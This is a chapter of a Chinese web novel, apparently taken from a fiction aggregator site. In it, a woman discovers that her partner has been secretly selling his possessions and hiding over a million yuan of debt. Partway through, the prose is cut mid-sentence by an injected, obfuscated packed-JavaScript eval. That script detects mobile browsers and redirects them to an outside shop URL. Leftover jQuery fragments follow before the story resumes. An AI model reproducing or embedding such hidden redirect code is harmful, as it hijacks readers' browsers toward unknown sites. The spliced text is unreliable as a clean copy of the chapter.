文趣网 > 都市小说 > 后来的人 > 44. 没事
    陆沉开始卖东西,是林深先发现的。最开始消失的是一块表——不是什么特别夸张的牌子,但陆沉很喜欢,以前出门谈客户经常戴。后来公司出问题,他也一直没舍得卖。那天晚上收拾东西回家,林深忽然发现他手腕空了。

    “表呢?”

    陆沉正在开门,动作停顿了一下:“借朋友了。”

    “哪个朋友?”

    “老周。”

    “他戴得进去?”

    陆沉笑了一下:“你查户口呢?”林深也笑,没继续问。可不知道为什么,那句话在她心里留了下来。

    过了几天,又少了一样东西——相机。那台相机放在书房很多年了,以前他们出去旅行,陆沉总喜欢背着。后来手机越来越方便,已经很少用,但它一直在,像某种纪念品。林深那天找东西的时候忽然发现柜子空了。

    “相机呢?”

    “卖了。”这次陆沉没撒谎。

    林深愣了一下:“怎么突然卖了?”

    “放着也没用。”

    “多少钱?”

    “几千块。”他说得很轻松,像卖掉的只是一个闲置杯子。林深站在书房门口,看着空出来的位置,心里忽然有点不舒服。不是因为相机,而是因为她忽然发现,最近消失的东西越来越多了。

    晚上两个人坐在客厅,来福趴在地毯上睡觉,电视开着没人看。陆沉低头玩手机,屏幕不断亮起、熄灭、亮起、熄灭。林深假装刷视频,余光却一直看着他。终于她忍不住开口:“你最近到底欠了多少钱?”

    陆沉动作停了一下:“什么多少钱。”

    “信用卡、网贷、供应商,还有别的。”

    空气安静下来,电视里主持人在笑,客厅却很安静。过了几秒陆沉把手机放下:“没多少。”又是这句话,林深已经听腻了。

    “没多少是多少?”

    “能解决。”

    “怎么解决?”

    “我自己想办法。”

    “什么办法?”

    陆沉忽然站起来,走到阳台,点烟,动作一气呵成,像早就准备好逃跑路线。林深跟过去:“陆沉。”

    “嗯。”

    “你到底欠了多少?”

    夜风吹进来,烟头忽明忽暗。陆沉沉默很久,终于开口:“一百多。”

    林深没反应过来:“一百多什么?”

    “一百多万。”

    风忽然变得很冷,她站在那里一时间甚至没听清后面的话。“一部分是以前公司的,一部分是信用卡,一部分是周转,一部分……”陆沉后面说什么她已经听不进去了,脑子里只剩一个数字——一百多万。她知道店亏钱,知道店压力大,知道生意不好,可她从来不知道,在账本下面还压着这么大的洞。

    “你什么时候欠的?”

    “慢慢欠的。”

    “为什么不告诉我?”

    陆沉笑了一下,笑得很苦:“告诉你有什么用?”

    “至少我们一起想办法。”

    “林深。”他看着远处的路灯,声音很轻,“我已经够丢人了。”

    那一瞬间林深忽然不知道该说什么。她想发火,想骂他,想问为什么,可最后什么都没说。因为她忽然看见了另一个陆沉——那个曾经意气风发的陆沉,那个开公司时谁都叫他陆总的陆沉,那个带她旅行、吃饭、买礼物、承担生活开销的陆沉,正在一点一点被现实碾碎,而他还在拼命维持体面。

    第二天,店里来了几个朋友。又是老周他们,又是喝酒,又是聊天,又是那些以前的故事。只是这一次林深听着听着忽然觉得难受,因为她知道了那些笑容后面藏着什么,那些酒杯后面藏着什么,那些“陆总”后面藏着什么。桌上热闹得像过年,陆沉笑得也开心,可林深看见他偷偷低头看手机,看见他看完以后立刻锁屏,看见他继续笑、继续喝、继续说“没事”。

    这两个字最近出现得

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691734|207913||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    越来越多。供应商催款,没事。信用卡到期,没事。生意不好,没事。朋友白吃白喝,没事。债务一百多万,还是没事。

    晚上十点多老周喝得有点多,忽然拍着陆沉肩膀说:“你就是想太多,男人嘛,欠点钱算什么,总能翻身。”桌上几个人一起点头,陆沉也点头:“对,总能翻身。”说完又喝了一杯。林深站在远处,忽然有种很奇怪的感觉,像看见一个快沉下去的人拼命告诉所有人自己会游泳,可他脚下已经没有地了。

    朋友走后店里只剩他们两个人,还有来福。陆沉明显喝多了一点,不是失控,只是话变多了。他坐在吧台后面忽然开始讲以前的事——讲公司,讲客户,讲订单,讲最风光的时候。林深安静地听,没有打断,因为她发现陆沉已经很久没有讲这些了。讲到最后他忽然笑了一下:“其实我知道。”

    “知道什么?”

    “回不去了。”

    空气忽然安静下来,冰柜发出低低的运转声,来福抬起头看向吧台。陆沉低头倒酒,酒洒出来一点落在桌上。“可我总觉得,再撑一下,说不定呢。”

    林深心里忽然一酸。因为这句话太熟悉了——她也天天这样想。再撑一下,说不定呢。再坚持一下,说不定呢。再亏一点,说不定呢。原来他们一直在做同样的事情,只是她在救店,而陆沉在救自己。

    十一点,林深开始收拾桌子。来福慢悠悠走到吧台边,闻了闻地上的酒味,皱着鼻子后退一步。陆沉伸手想摸它,来福没躲但也没靠近,只是站在那里安静地看着他。那种眼神很奇怪,不像看主人,更像看一个陌生人。陆沉的手停在半空,笑了一下:“你也看不起我了?”他是在开玩笑,可不知道为什么,没人笑。来福不会,林深也不会。

    窗外开始下雨,雨点落在玻璃上,啪嗒,啪嗒,像什么东西正在慢慢逼近。而他们都还没有发现,真正危险的从来不是那些已经看见的债务,而是债务背后一点一点被压垮的人。